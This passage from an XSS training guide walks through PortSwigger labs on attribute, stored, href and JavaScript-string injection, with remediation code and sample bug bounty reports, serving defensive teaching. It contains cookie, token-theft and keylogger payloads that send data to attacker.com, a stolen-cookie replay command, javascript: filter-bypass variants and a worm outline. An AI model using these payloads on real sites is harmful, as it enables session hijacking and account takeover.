`autofocus` triggers `onfocus` on page load **no mouse interaction required**.

3.6 Source-Level Analysis

[X] Common Mistake Encoding only angle brackets

```
1 # VULNERABLE incomplete fix
2 safe_query = query.replace('<', '&lt;').replace('>', '&gt;')
3 # Missing: quote encoding for attribute context!
4 html = f'<input value="{safe_query}">'
```

[X] PHP trap strip_tags() is NOT XSS prevention

```
1 $query = $_GET['search'] ?? '';
2 $partial_safe = strip_tags($query); // removes tags but NOT
   quotes!
3 echo "<input value='" . $partial_safe . "'>"; // still
   vulnerable
```

[!] Warning

`strip_tags()` removes HTML tags but does **not** encode attribute-breaking characters. Many developers mistakenly believe it prevents XSS.

3.7 Remediation

[OK] Safe Encode ALL HTML special characters

```
1 from markupsafe import escape
2
3 # escape() handles < > & " ' -- safe for attribute AND body
   context
4 safe_query = escape(query)
5 html = f'<input value="{safe_query}">'
```

[OK] Safe PHP with ENT_QUOTES

```
1 // ENT_QUOTES encodes BOTH " and ' -- critical for attribute
   context
2 $safe = htmlspecialchars($query, ENT_QUOTES | ENT_HTML5, 'UTF-8')
   ;
3 echo "<input value='" . $safe . "'>";
```

[!] Warning

PHP gotcha: Without `ENT_QUOTES`, `htmlspecialchars()` only encodes `"` not `'`. If your attribute uses single quotes, `ENT_QUOTES` is mandatory.

3.8 Bug Bounty Report

Title: Reflected XSS via Attribute Injection in Search Parameter

Severity: **HIGH** **CVSS:** 7.4

Endpoint: GET `/search?search=[PAYLOAD]`

Description

Angle brackets (`<>`) are HTML-encoded, preventing direct script tag injection. However, the double-quote character (`"`) is not encoded in the attribute context. An attacker can break out of the `value` attribute and inject arbitrary event handler attributes, resulting in JavaScript execution.

Steps to Reproduce

1. Navigate to the search functionality
2. Submit payload: `" onmouseover="alert(document.domain)`
3. Move mouse over the search input alert fires

No-interaction PoC: `" onfocus="alert(document.domain)" autofocus="`
(Triggers automatically on page load)

Root Cause

Incomplete output encoding only angle brackets are encoded. Quote character is unencoded in attribute context, allowing attribute breakout and event handler injection.

Remediation

Use complete HTML encoding (`ENT_QUOTES` in PHP, `markupsafe.escape()` in Python) covering `<`, `>`, `"`, `'`, and `&`. Implement CSP to block inline event handlers as defense-in-depth.

3.9 Key Takeaways

Lesson	Detail
Context changed → technique changes	Attribute context needs quote breakout, not tag injection
Check every reflection point	Attribute value was the vulnerability, not body text
Test quotes not angle brackets	In attribute context, " is the dangerous character
Partial encoding = false security	Encoding <> alone is insufficient in attributes
Event handlers = scriptless XSS	<code>onmouseover</code> , <code>onfocus</code> execute JS without <code><script></code>
<code>strip_tags()</code> is not prevention	Removes tags but leaves attribute-breaking characters
<code>autofocus</code> + <code>onfocus</code>	No-interaction PoC higher severity

Chapter 4

Lab 03 – Stored XSS into HTML Context with Nothing Encoded

Platform	PortSwigger Web Security Academy
Category	Stored XSS
Difficulty	Apprentice
Severity	HIGH (Critical if admin panel affected)
CVSS	8.2 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N)
Tags	stored-xss, cookie-theft, exploit-chain, wormable

4.1 Lab Objective

Exploit a stored XSS vulnerability in blog comment functionality to execute `alert()` in the victim's browser – and understand what a real attacker would do beyond that.

4.2 Stored vs Reflected – Why This Is More Dangerous

Factor	Reflected XSS	Stored XSS
Payload location	URL / HTTP response	Database / server
Victims affected	One per click	All page visitors
Social engineering	Required	Not required
Persists after attack	No	Yes
Admin compromise risk	Low	High

[!] Warning

The admin angle is critical for pentesters. If stored XSS fires on a page admins visit (e.g. comment review), the attacker steals an admin session and escalates to **full application compromise**. This is why stored XSS in admin-visible areas is often rated **CRITICAL**.

4.3 Recon & Methodology

4.3.1 Step 1 – Map Data Storage Points

Feature	Stores?	Who Sees?	Notes
Search box	No	Requester	Reflected only
Comment body	Yes	All visitors	Primary target
Comment author	Yes	All visitors	Also injectable
Website field	Yes	All visitors	href sink – high value

4.3.2 Step 2 – Submit a Normal Comment and Observe

Submit a benign comment and confirm it persists across page reloads – confirming database storage.

```
Name:      TestUser
Comment:   hello world

Renders as:
<p class="comment-author">TestUser</p>
<p class="comment-body">hello world</p>
<a href="http://example.com">TestUser</a>
```

4.3.3 Step 3 – Test for Encoding

```
Name:      <test>  ->  <test>      NOT encoded (vulnerable)
Comment:   <test>  ->  <test>      NOT encoded (vulnerable)
Website:   <test>  ->  <test>      NOT encoded (vulnerable)
```

All three fields are unencoded. The comment body is the most impactful – it is fully visible to all visitors.

4.4 Finding the Injection Point

```
{lstlisting}[style=dracula-nonumbers]
POST /post/comment HTTP/2
Content-Type: application/x-www-form-urlencoded

csrf=token123&postId=5&comment=hello+world&name=TestUser

HTTP/2 200 OK
<section class="comment">
  <p class="comment-author">TestUser</p>
  <p class="comment-body">hello world</p>
</section>
\end{lstlisting}
```

Injection Context

Parser state: HTML Data state (inside `<p class="comment-body">`)

Encoding: None

Key difference from Labs 01/02: This payload is stored in the database and served to *every* subsequent visitor.

4.5 Payload – From alert() to Cookie Theft

4.5.1 Basic PoC (Lab Objective)

```
<script>alert(document.domain)</script>
```

Submit. Navigate to the blog post. Alert fires for every visitor. Lab solved.

But let's go deeper.

4.5.2 Real-World Escalation

[X] Payload 1 – Silent Cookie Theft

```
1 <script>
2 fetch('https://attacker.com/steal?c='
3   + encodeURIComponent(document.cookie))
4 </script>
```


[X] Payload 2 – localStorage Token Theft (JWTs)

```
1 <script>
2 var t = localStorage.getItem('authToken')
3     || localStorage.getItem('jwt')
4     || localStorage.getItem('token');
5 fetch('https://attacker.com/steal?t=' + encodeURIComponent(t));
6 </script>
```

[X] Payload 3 – Image Exfil (Bypasses some fetch() CSP)

```
1 <script>
2 new Image().src = 'https://attacker.com/steal?c='
3   + encodeURIComponent(document.cookie);
4 </script>
```

[X] Payload 4 – Keylogger

```
1 <script>
2 document.addEventListener('keypress', function(e) {
3   fetch('https://attacker.com/keys?k=' + encodeURIComponent(e.
4     key));
5 });
6 </script>
```

4.6 The Full Exploit Chain

1. **Attacker** submits payload in comment field – stored in DB
2. **Victim** visits the blog post page – payload executes silently
3. Session cookie sent to attacker's listener server
4. **Attacker** replays the stolen cookie in Burp Suite
5. **Account takeover** – no password required

```
curl -H "Cookie: session=abc123xyz...stolen" https://target.com/my-account
```

Admin Compromise Path

If an admin visits the infected page (e.g. to review/approve comments):

1. Admin session cookie stolen
2. Attacker logs in as admin

3. Access to admin panel, user data, server functions
 4. Potential RCE via admin file upload
- This path elevates severity from **HIGH** to **CRITICAL**.

4.7 Why This Is Wormable

If the payload can read the page's CSRF token and re-post itself as a new comment, it self-replicates:

1. Victim loads page -> payload executes
2. Payload reads CSRF token from DOM
3. Payload posts itself as a new comment (spreads)
4. Simultaneously exfiltrates victim's session cookie
5. Every new visitor repeats steps 1-4

[!] Warning

The Samy Worm (MySpace, 2005) used this exact technique. It infected over **1 million profiles in under 20 hours**. MySpace had to take the entire site offline to stop it.

4.8 Source-Level Analysis

[X] Vulnerable – Python/Flask

```
1 @app.route('/post/<int:post_id>')
2 def view_post(post_id):
3     comments = db.execute(
4         'SELECT name, body FROM comments WHERE post_id = ?',
5         (post_id,)
6     ).fetchall()
7
8     # VULNERABLE -- f-string interpolation, no encoding
9     comments_html = ''
10    for name, body in comments:
11        comments_html += f'<p>{name}</p><p>{body}</p>'
12
13    return render_template_string(f'<main>{comments_html}</main>')
```

[X] Vulnerable – PHP

```
1 foreach ($comments as $comment) {
2     // VULNERABLE -- no htmlspecialchars()
3     echo "<p>" . $comment['name'] . "</p>";
4     echo "<p>" . $comment['body'] . "</p>";
5 }
```

AppSec Note – Store Raw, Encode at Output

A common mistake is sanitizing input *before* storing it. This is wrong:

- You may need the raw data later for other purposes
- Different output contexts (HTML, JSON, SQL) need different encoding
- You cannot undo aggressive input sanitization

Correct approach: Store raw user input. Apply context-appropriate encoding at render time.

4.9 Remediation

[OK] Safe – Python with Jinja2 (auto-escape)

```
1 # In view function -- pass raw data to template
2 return render_template('post.html', comments=comments)
3
4 # In post.html -- {{ var }} auto-escapes by default
5 # {% for comment in comments %}
6 # <p>{{ comment.name }}</p>      <- SAFE: auto-escaped
7 # <p>{{ comment.body }}</p>     <- SAFE: auto-escaped
8 # {% endfor %}
9 # NEVER use: {{ comment.body | safe }} <- disables escaping!
```

[OK] Safe – PHP

```
1 foreach ($comments as $comment) {
2     // SAFE -- ENT_QUOTES encodes " and '
3     echo "<p>" . htmlspecialchars(
4         $comment['name'], ENT_QUOTES, 'UTF-8'
5     ) . "</p>";
6     echo "<p>" . htmlspecialchars(
7         $comment['body'], ENT_QUOTES, 'UTF-8'
8     ) . "</p>";
9 }
```

[OK] Set HttpOnly + Secure on Session Cookies

```
1 # Flask -- limits cookie theft even if XSS fires
2 app.config['SESSION_COOKIE_HTTPONLY'] = True
3 app.config['SESSION_COOKIE_SECURE'] = True
4 app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
```

[!] Warning

HttpOnly mitigates cookie theft but does NOT fix XSS. An attacker can still: read page content, make authenticated requests on the victim's behalf, steal localStorage tokens, and inject keyloggers. It is defence-in-depth, not a fix.

4.10 Bug Bounty Report

Title: Stored XSS in Blog Comments – Session Hijacking PoC

Severity: **HIGH** (Critical if admin-visible) **CVSS:** 8.2

Endpoints:

- POST /post/comment (injection point)
- GET /post/{id} (execution – affects all visitors)

Description

Blog comment fields store and render user input without sanitization or output encoding. An attacker submits a malicious payload once; it then executes silently in every visitor's browser. Unlike reflected XSS, no social engineering is required after initial submission.

Steps to Reproduce

1. Submit comment: `<script>fetch('https://attacker.com/steal?c='+encodeURIComponent(`
2. Any visitor to the blog post silently transmits their session cookie
3. Use captured cookie to authenticate as victim – no password needed

Non-destructive PoC: `<script>alert(document.domain)</script>`

Impact

Session hijacking for all visitors, admin account takeover, persistent attack surviving until manual DB cleanup, potential for self-spreading worm behaviour.

Remediation

1. Apply HTML entity encoding at render time using `htmlspecialchars(ENT_QUOTES)` / `markupsafe.escape()` / auto-escaping templates.

2. Set `HttpOnly`, `Secure`, `SameSite=Lax` on all session cookies.
3. Implement CSP: `script-src 'self'; connect-src 'self'`.
4. Audit all stored user fields (name, email, website) for the same pattern.

4.11 Key Takeaways

Lesson	Detail
No social engineering needed	Submit once, all visitors hit
Check all stored fields	Name, email, website were also vulnerable
Admins are high-value targets	Stored XSS visible to admins can mean full compromise
Store raw, encode at output	Never sanitize before storage – encode at render time
<code>alert()</code> to cookie theft	Show business impact in real reports
<code>HttpOnly</code> mitigates, not fixes	Cookie theft blocked, but XSS impact remains
Wormable potential	Self-spreading if payload can re-post itself

Chapter 5

Lab 04 – Stored XSS into Anchor href Attribute

Platform	PortSwigger Web Security Academy
Category	Stored XSS
Difficulty	Apprentice
Severity	HIGH
CVSS	7.7 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N)
Tags	stored-xss, href-attribute, javascript-uri, url-sink

5.1 Lab Objective

Inject a `javascript:` URI into the `website` field of a blog comment so that clicking the author name executes `alert()`.

5.2 What is New in This Lab?

Factor	Lab 01	Lab 02	Lab 03	Lab 04
XSS Type	Reflected	Reflected	Stored	Stored
Context	HTML body	HTML attr	HTML body	URL attr (href)
Angle brackets	Not enc.	Encoded	Not enc.	Encoded
Quotes	Not enc.	Not enc.	Not enc.	Encoded
Attack vector	<code><script></code>	Event handler	<code><script></code>	<code>javascript:</code> URI

Key Concept – URL Sinks

Lab 04 introduces **URL sinks** – a completely different XSS injection class. HTML encoding is irrelevant here because `javascript:alert(1)` contains *no HTML special characters*. This is a protocol-level attack, not an HTML injection.

5.3 Recon & Methodology

5.3.1 Step 1 – Recall the Website Field from Lab 03

In Lab 03 we flagged the `website` field as a high-value href sink:

```
Website: http://example.com
Renders: <a href="http://example.com">TestUser</a>
```

5.3.2 Step 2 – Test for Encoding

```
Website: <script>alert(1)</script>
Rendered: <a href="&lt;script&gt;alert(1)&lt;/script&gt;"> <-
          blocked

Website: "onmouseover=alert(1)
Rendered: <a href="&quot;onmouseover=alert(1)&quot;"> <-
          blocked
```

Both tag injection and attribute breakout are blocked.

5.3.3 Step 3 – Ask What IS Allowed Through

Instead of asking what is blocked, ask what passes unfiltered:

```
Website: javascript:alert(1)
Rendered: <a href="javascript:alert(1)">TestUser</a> <- NOT
          filtered!
```

[!] Warning

`javascript:alert(1)` contains no angle brackets and no quotes. HTML encoding defenses are completely irrelevant for this payload – the characters that trigger encoding never appear.

5.4 Understanding the Context – URL Sinks

5.4.1 How href Works at the Parser Level

When a browser parses `<a href="VALUE">`, the `VALUE` is treated as a **URL** by the URL parser – not by the HTML parser. The URL parser recognises several schemes:

```
http://example.com      -> navigates to external site
https://example.com     -> navigates over HTTPS
mailto:user@example.com -> opens mail client
javascript:CODE          -> executes CODE as JavaScript <- attack
    vector
data:text/html,<html>.. -> renders inline HTML document
```

`javascript:` is a **protocol-level execution mechanism** – it has nothing to do with HTML injection.

5.4.2 URL Sinks Beyond href

The same attack works anywhere the browser treats a value as a URL:

```
<!-- HTML -->
<iframe src="javascript:alert(1)">
<form action="javascript:alert(1)">
<button formaction="javascript:alert(1)">

// JavaScript URL sinks
location.href = userInput;
location.replace(userInput);
window.open(userInput);
element.setAttribute('href', userInput);
$('a').attr('href', userInput); // jQuery

// React -- does NOT sanitize javascript: URIs
<a href={user.website}>Profile</a> // vulnerable if user.website
    untrusted
```

5.5 Why Previous Payloads Fail Here

[X] Lab 01/03 payload – blocked by angle bracket encoding

```
Input:      <script>alert(1)</script>
Rendered:   <a href="&lt;script&gt;alert(1)&lt;/script&gt;">
Result:     clicking navigates to a broken URL -- no execution
```


[X] Lab 02 payload – blocked by quote encoding

```
Input:      " onmouseover="alert(1)
Rendered:   <a href="&quot; onmouseover=&quot;alert(1)">
Result:     cannot break out of attribute -- no execution
```

Defence Mismatch

The developer defended against **HTML injection** (encoding `<>` and `"`), but left **protocol injection** completely open. These are two different attack classes requiring two different defences.

5.6 The javascript: URI – Encoding Variants

Naive filters that blocklist the string `javascript:` can be bypassed:

```
javascript:alert(1)           // plain
Javascript:alert(1)           // case variation
JAVASCRIPT:alert(1)           // uppercase
java&#115;cript:alert(1)       // HTML entity encoded 's'
&#106;avascript:alert(1)      // HTML entity encoded 'j'
javascript&#58;alert(1)        // encoded colon
```

This is why **allowlisting** (only permit `http/https`) is always better than blocklisting (try to block `javascript`).

5.7 Crafting the Payload

5.7.1 Lab PoC

```
javascript:alert(document.domain)
```

Rendered HTML:

```
<a href="javascript:alert(document.domain)">TestUser</a>
```

Every visitor who clicks the author name fires the alert.

5.7.2 Real-World Escalation – Cookie Theft on Click

```
javascript:fetch('https://attacker.com/steal?c='  
+encodeURIComponent(document.cookie))
```

Stored in the database, fires for every user who clicks the author link, silently sends their session cookie to the attacker.

5.8 Execution Trace

1. Attacker submits `javascript:alert(document.domain)` as website field
2. Server stores value – no HTML-encodable characters, passes through unchanged
3. Server renders: `<a href="javascript:alert(document.domain)">TestUser</a>`
4. Visitor clicks the author link
5. Browser sees `javascript:` scheme, evaluates `alert(document.domain)`
6. Alert fires [OK]
7. Every subsequent visitor who clicks also triggers execution [OK]

5.9 Source-Level Analysis

[X] Vulnerable – Python/Flask

```
1 from markupsafe import escape  
2  
3 website = request.form.get('website', '')  
4 safe_website = escape(website)  
5 # escape("javascript:alert(1)") == "javascript:alert(1)"  
6 # No HTML special chars -> escape() changes nothing!  
7 # Stored and rendered as-is -> VULNERABLE
```

[X] PHP trap – filter_var accepts javascript: URIs

```
1 $website = $_POST['website'] ?? '';  
2  
3 // VULNERABLE -- filter_var considers javascript:alert(1) a valid  
  URL  
4 // because it has a scheme (javascript:) and content (alert(1))  
5 if (filter_var($website, FILTER_VALIDATE_URL)) {
```

```
6     $stmt->execute([$website]); // stored -- will execute on
    click
7 }
```

[!] Warning

PHP pitfall: `filter_var($url, FILTER_VALIDATE_URL)` validates URL *format* only – it does NOT restrict to safe schemes. `javascript:alert(1)` passes this check. This is a known PHP bug (Bug #72914).

5.10 Remediation

[OK] Safe – URL Scheme Allowlist (Python)

```
1 from urllib.parse import urlparse
2
3 def is_safe_url(url: str) -> bool:
4     """Only allow http and https schemes."""
5     if not url:
6         return False
7     try:
8         parsed = urlparse(url)
9         return parsed.scheme in ('http', 'https')
10    except Exception:
11        return False
12
13 website = request.form.get('website', '')
14 if website and not is_safe_url(website):
15     abort(400, 'Only http/https URLs are allowed')
16 # safe to store and render
```

[OK] Safe – URL Scheme Allowlist (Node.js)

```
1 function isSafeUrl(url) {
2     try {
3         const parsed = new URL(url);
4         return ['http:', 'https:'].includes(parsed.protocol);
5     } catch {
6         return false;
7     }
8 }
9
10 app.post('/comment', (req, res) => {
11     const website = req.body.website || '';
12     if (website && !isSafeUrl(website)) {
13         return res.status(400).json({error: 'Only http/https URLs
    allowed'});
14     }
15 }
```

```

14     }
15     // safe to store
16 });

```

[OK] Safe – PHP (do not rely on filter_var alone)

```

1 function is_safe_url(string $url): bool {
2     $parsed = parse_url($url);
3     if ($parsed === false) return false;
4     return in_array($parsed['scheme'] ?? '', ['http', 'https'],
5         true);
6 }
7
8 $website = $_POST['website'] ?? '';
9 if (!empty($website) && !is_safe_url($website)) {
10     die('Only http/https URLs are allowed');
11 }

```

[OK] Safe – Jinja2 Template with Scheme Check

```

{% macro safe_link(url, text) %}
    {% if url and (url.startswith('http://') or url.startswith('
    https://')) %}
        <a href="{{ url | e }}">{{ text | e }}</a>
    {% else %}
        <span>{{ text | e }}</span>
    {% endif %}
{% endmacro %}

```

The core rule:

Allowlist, Never Blocklist

For any URL attribute sink, **allowlist** safe schemes ([http](#), [https](#)) explicitly using a URL parser. Never try to blocklist [javascript](#) – there are too many encoding variants to catch. HTML encoding alone is completely irrelevant for this attack class.

5.11 URL Sinks – Code Review Red Flags

When auditing code, immediately investigate any user input flowing into these patterns:

```

<a href="{{ user.website }}">Profile</a>
<a href="{{ request.args.get('redirect') }}">Click here</a>
<iframe src="{{ config.help_url }}"></iframe>

```

```
<form action="{ next_page }">
```

```
location.href = userInput;
location.replace(userInput);
location.assign(userInput);
window.open(userInput);
element.setAttribute('href', userInput);
element.setAttribute('src', userInput);
$('a').attr('href', userInput); // jQuery
```

```
// VULNERABLE -- React does not sanitize javascript: in href
<a href={user.website}>Profile</a>
// Must validate scheme manually before rendering
```

5.12 Bug Bounty Report

Title: Stored XSS via `javascript:` URI Injection in Comment Website Field

Severity: **HIGH** **CVSS:** 7.7

Endpoints:

- POST `/post/comment` (injection)
- GET `/post/{id}` (execution on author link click)

Description

The `website` comment field stores arbitrary URL values without restricting the URI scheme. While HTML special characters are encoded (preventing HTML injection), the `javascript:` URI scheme is not validated. The stored value renders in an `<a href="">` element and executes on click for all visitors.

Steps to Reproduce

1. Submit a comment with `website` field set to:
`javascript:alert(document.domain)`
2. Navigate to the blog post
3. Click the comment author name
4. Alert fires – JavaScript executed in target origin

Cookie theft PoC: `javascript:fetch('https://attacker.com/steal?c='+document.cookie)`

Root Cause

Absent URL scheme validation. HTML encoding defences are irrelevant – `javascript:alert(1)` contains no HTML special characters. A common secondary

cause: reliance on `filter_var(FILTER_VALIDATE_URL)` in PHP, which accepts `javascript:` as a valid URL scheme.

Remediation

1. Allowlist `http/https` schemes using a URL parser at both input and render time.
2. Do not use `filter_var(FILTER_VALIDATE_URL)` alone – it does not restrict schemes.
3. Add CSP `navigate-to` directive to block `javascript:` navigation at browser level.

5.13 Key Takeaways

Lesson	Detail
URL sinks need scheme validation	HTML encoding alone does not block <code>javascript:</code>
Protocol injection != HTML injection	No angle brackets or quotes needed
<code>filter_var()</code> is not URL security	PHP validator accepts <code>javascript:</code>
Allowlist not blocklist	Only permit <code>http/https</code> – never try to block <code>javascript</code>
URL sinks are everywhere	<code>href</code> , <code>src</code> , <code>action</code> , <code>location.href</code> , <code>window.open()</code>
React does not sanitize hrefs	Must validate scheme manually in JSX
Defence mismatch	Devs defend HTML injection, miss protocol injection
Code review red flag	User input into <code>href/src/action</code> = immediate investigation

Chapter 6

Lab 05 – Reflected XSS into a JavaScript String

Platform	PortSwigger Web Security Academy
Category	Reflected XSS
Difficulty	Apprentice
Severity	HIGH
CVSS	7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
Tags	reflected-xss, javascript-context, string-breakout, script-block

6.1 Lab Objective

Exploit a reflected XSS vulnerability where the injection lands **inside a JavaScript string literal** within a `<script>` block. Angle brackets are HTML-encoded, making previous tag-injection techniques ineffective.

6.2 What is New in This Lab?

This is the first lab where injection targets the **JavaScript parser** rather than the HTML parser. The mental model shift is significant.

Factor	Labs 01–04	Lab 05
Active parser	HTML parser	JavaScript engine
Injection location	HTML body / attributes	Inside <code><script></code> block
Angle brackets	Varies	Encoded
Key breakout char	<code><</code> or <code>"</code>	<code>'</code> (string delimiter)
Attack technique	Tags / event handlers	Quote termination

Two Parser Model

Inside a `<script>` block, the HTML parser hands control to the **JavaScript engine**. HTML encoding rules no longer apply. `<` is seen by JS as the literal characters `&`, `l`, `t`, `;` – not as `<`. The single quote `'` is the meaningful character here.

6.3 Recon & Methodology

6.3.1 Step 1 – View Page Source, Not Rendered Page

Always use **Ctrl+U** (view source) when hunting for JS context injections. The rendered page hides script block content. Source shows everything.

```
<p>0 results for 'hello'</p>          <- HTML context (familiar)

<script>
  var searchTerms = 'hello';           <- JS string context (new!)
  document.write('<img src="...?searchTerms='
    + encodeURIComponent(searchTerms) + '>');
</script>
```

6.3.2 Step 2 – Test Encoding

```
Search: <test>
  JS block: var searchTerms = '&lt;test&gt;';    <- < > encoded

Search: 'test
  JS block: var searchTerms = ''test';        <- ' NOT encoded!
```

Single quote passes through unencoded – we can terminate the string.

6.4 Understanding the JavaScript String Context

6.4.1 What the JavaScript Parser Sees

```
var x = 'INJECTION_HERE';

Characters that matter to JS parser:
'    -> closes the string
\    -> escape character
newline -> syntax error (invalid in single-line strings)

Characters that do NOT matter:
<    -> just string content
>    -> just string content
&lt; -> literal text: & l t ; (not an angle bracket!)
```

[!] Warning

`<` inside a `<script>` block is **not** decoded to `<` by the JavaScript engine. HTML encoding is completely irrelevant inside JS context. The JS engine sees `&`, `l`, `t`, `;` as four separate characters – not as a less-than sign.

6.5 Why Previous Payloads Fail

[X] Script tag injection – encoded and wrong context anyway

```
Input:  <script>alert(1)</script>
JS:     var searchTerms = '&lt;script&gt;alert(1)&lt;/script&gt;';
Result: string contains literal text -- JS never creates a script
        element
```

[X] Event handler injection – wrong context

```
Input:  " onmouseover="alert(1)
JS:     var searchTerms = '" onmouseover="alert(1)';
Result: just string content -- no HTML attribute exists here
```

All previous techniques targeted the HTML parser. Inside `<script>`, the HTML parser has stepped aside. We must speak JavaScript.

6.6 Breaking Out of the JavaScript String

We are trapped here:

```
var searchTerms = 'TRAPPED_HERE';
```

To execute code we need to:

1. Close the string with '
2. Inject our JavaScript expression
3. Handle remaining syntax so no error occurs

6.7 Crafting the Payload

6.7.1 Variant 1 – The Subtraction Trick (Cleanest)

```
'-alert(document.domain)-'
```

Rendered JavaScript:

```
var searchTerms = ''-alert(document.domain)-'';
```

How it executes:

1. '' – empty string literal (valid)
2. - – subtraction operator
3. `alert(document.domain)` – **function call executes** – alert fires
4. - – subtraction operator
5. '' – empty string literal (valid)

No semicolons, no comments needed. The subtraction operators keep the entire statement syntactically valid on both sides. [OK]

6.7.2 Variant 2 – Statement Termination

```
';alert(document.domain)//
```

```
var searchTerms = ''';alert(document.domain)//'';
```

1. ' closes the string
2. ; terminates the var statement

3. `alert(document.domain)` executes as new statement
4. `//` comments out remaining `”;`

6.7.3 Variant 3 – Template Literal Injection (if backtick string)

If the developer uses template literals instead of quotes:

```
var searchTerms = `INJECTION`;
// Payload: ${alert(document.domain)}
// Result: var searchTerms = `${alert(document.domain)}`;
// alert() executes as part of template expression -- no breakout
needed!
```

6.8 Full Execution Trace

Payload: `'-alert(document.domain)-'`

1. Server receives `search = '-alert(document.domain)-'`
2. Server encodes `<` and `>` – payload has neither, passes unchanged
3. Server reflects: `var searchTerms = "-alert(document.domain)-"`;
4. HTML parser hits `<script>` tag, switches to Script data state
5. JS engine receives the block, parses as JavaScript
6. `”` evaluates to empty string
7. `alert(document.domain)` called – **alert fires [OK]**
8. `searchTerms = NaN` (result of arithmetic on strings/undefined)

6.9 Source-Level Analysis

[X] Vulnerable – Python/Flask (inconsistent encoding)

```
1 @app.route('/search')
2 def search():
3     query = request.args.get('search', '')
4     html_safe = escape(query) # encodes for HTML context
5
6     return render_template_string(f"""
7     <p>0 results for '{html_safe}'</p>    <!-- safe -->
8
9     <script>
```

```

10     var searchTerms = '{query}';    <!-- RAW! not html_safe
    -->
11     </script>
12     """
13 # Root cause: developer encoded for HTML body but used raw value
    in JS block

```

[X] Vulnerable – Node.js (encoding only < and >)

```

1 const htmlSafe = query.replace(/</g, '&lt;').replace(/>/g, '&gt;');
2
3 res.send('
4   <p>0 results for '{htmlSafe}'</p>
5   <script>
6     var searchTerms = '{query}'; // raw -- single quote not
        encoded
7   </script>
8 ');

```

[X] PHP – htmlspecialchars without ENT_QUOTES in JS block

```

1 $safe = htmlspecialchars($query, ENT_COMPAT, 'UTF-8'); // encodes
    " not "
2 ?>
3 <script>
4     var searchTerms = '<?= $safe ?>'; // ' still passes through!
5 </script>

```

AppSec Note – Consistent Context Encoding

The most common root cause in this lab type is **encoding inconsistency**: developers apply HTML encoding to one reflection point but forget JavaScript encoding for another. Each output context (HTML body, HTML attribute, JS string, URL) requires its own appropriate encoding function.

6.10 JavaScript String Context Variations

JS Context	Breakout Char	Payload
Single-quoted string	'	'-alert(1)-'
Double-quoted string	"	"-alert(1)-"
Template literal	` or \${}	\${alert(1)}
Inside function call	'	');alert(1)//
Inside conditional	'	' alert(1) '

6.11 Remediation

[OK] Safe – Python: use json.dumps() for JS context

```
1 import json
2
3 @app.route('/search')
4 def search():
5     query = request.args.get('search', '')
6     js_safe = json.dumps(query) # produces properly quoted+
    escaped JS string
7
8     return render_template_string(f"""
9     <script>
10         var searchTerms = {js_safe};
11     </script>
12     """)
13 # Input: '-alert(document.domain)-'
14 # json.dumps output: "\"'-alert(document.domain)-'\""
15 # Rendered: var searchTerms = "\"'-alert(document.domain)-'\"";
16 # Single quotes are now inside a double-quoted JS string -- no
    breakout
```

[OK] Safe – Node.js: JSON.stringify()

```
1 const jsSafe = JSON.stringify(query); // quotes and escapes for
    JS
2
3 res.send('
4     <script>
5         var searchTerms = ${jsSafe};
6     </script>
7 ');
```

[OK] Safe – PHP: json_encode with HEX flags

```
1 $js_safe = json_encode(
2     $query,
3     JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP | JSON_HEX_QUOT
4 );
5 // JSON_HEX_TAG: < -> \u003C, > -> \u003E
6 // JSON_HEX_APOS: ' -> \u0027
7 // JSON_HEX_QUOT: " -> \u0022
8 ?>
9 <script>
10     var searchTerms = <?= $js_safe ?>;
11 </script>
```

[OK] Best Fix – Avoid JS strings entirely

```
<!-- Store data in data-* attribute (HTML-encoded) -->
<div id="search-data" data-query="{ { query | e } }"></div>

<script>
  // Read from DOM -- no user data in JS string
  var searchTerms = document.getElementById('search-data').
    dataset.query;
</script>
```

[OK] Jinja2 – tojson filter

```
<script>
  var searchTerms = {{ query | tojson }};
  <!-- tojson = json.dumps() -- correct JS context encoding -->
</script>
```

6.12 Bug Bounty Report

Title: Reflected XSS via JavaScript String Injection in Search Parameter

Severity: **HIGH** **CVSS:** 7.4

Endpoint: GET /search?search=[PAYLOAD]

Description

The `search` parameter is reflected inside a JavaScript string literal within a `<script>` block. Angle brackets are HTML-encoded (preventing tag injection), but the single-quote character is not encoded in JavaScript context. An attacker terminates the string literal and injects arbitrary JavaScript.

Steps to Reproduce

Visit: `/search?search='-alert(document.domain)-'`

Observe alert dialog confirming JS execution in target origin.

Rendered Vulnerable Code:

```
var searchTerms = '-alert(document.domain)-';
```

Why Standard Defenses Miss This

Encoding `<` and `>` correctly prevents tag injection in HTML context. Inside `<script>` blocks, the JS engine processes the content directly – it sees `<` as literal characters, not as `<`. The single quote is the meaningful character in JS

string context, and it was not encoded.

Remediation

Use `JSON.stringify()` (Node.js), `json.dumps()` (Python), or `json_encode(JSON_HEX_TAG | JSON_HEX_APOS)` (PHP) for values placed inside JavaScript strings. Prefer storing data in `data-*` attributes and reading with `dataset` to avoid placing user data in `<script>` blocks entirely.

6.13 Key Takeaways

Lesson	Detail
Always view page source	Rendered page hides <code><script></code> content
Two parsers, two rule sets	HTML parser and JS engine have different rules
<code><></code> encoding irrelevant in JS	JS sees <code>&lt;</code> as literal text, not <code><</code>
<code>'</code> is the key char here	Terminates the JS string literal
Subtraction trick	<code>'-payload-'</code> keeps JS syntactically valid
Template literals add <code>\${}</code>	<code>\${alert(1)}</code> works without closing backtick string
JS encoding != HTML encoding	Use <code>json.dumps()</code> not <code>htmlspecialchars()</code> for JS context
Best fix: avoid JS strings	Store in <code>data-*</code> attr, read with <code>dataset</code>
Consistent encoding matters	Same template, different contexts – encode each correctly

Chapter 7

Lab 06 – Reflected XSS into JS String with Backslash Escaped Quotes

Platform	PortSwigger Web Security Academy
Category	Reflected XSS
Difficulty	Apprentice
Severity	HIGH
CVSS	7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
Tags	reflected-xss, js-context, backslash-escape, script-block

7.1 Lab Objective

The developer tried to fix Lab 05 by escaping single quotes with a backslash. Demonstrate why this partial fix still fails and execute `alert()`.

7.2 What the Developer Changed

After Lab 05, the developer added a backslash escape for single quotes:

```
Input: '-alert(1)-'  
Before fix: var searchTerms = ''-alert(1)-'';    <- broke out  
After fix:  var searchTerms = '\'-alert(1)-\'';  <- quotes escaped
```

The single quote is escaped – so our Lab 05 payload no longer works. But the developer forgot to escape the backslash itself.

7.3 The Backslash Escape Bypass

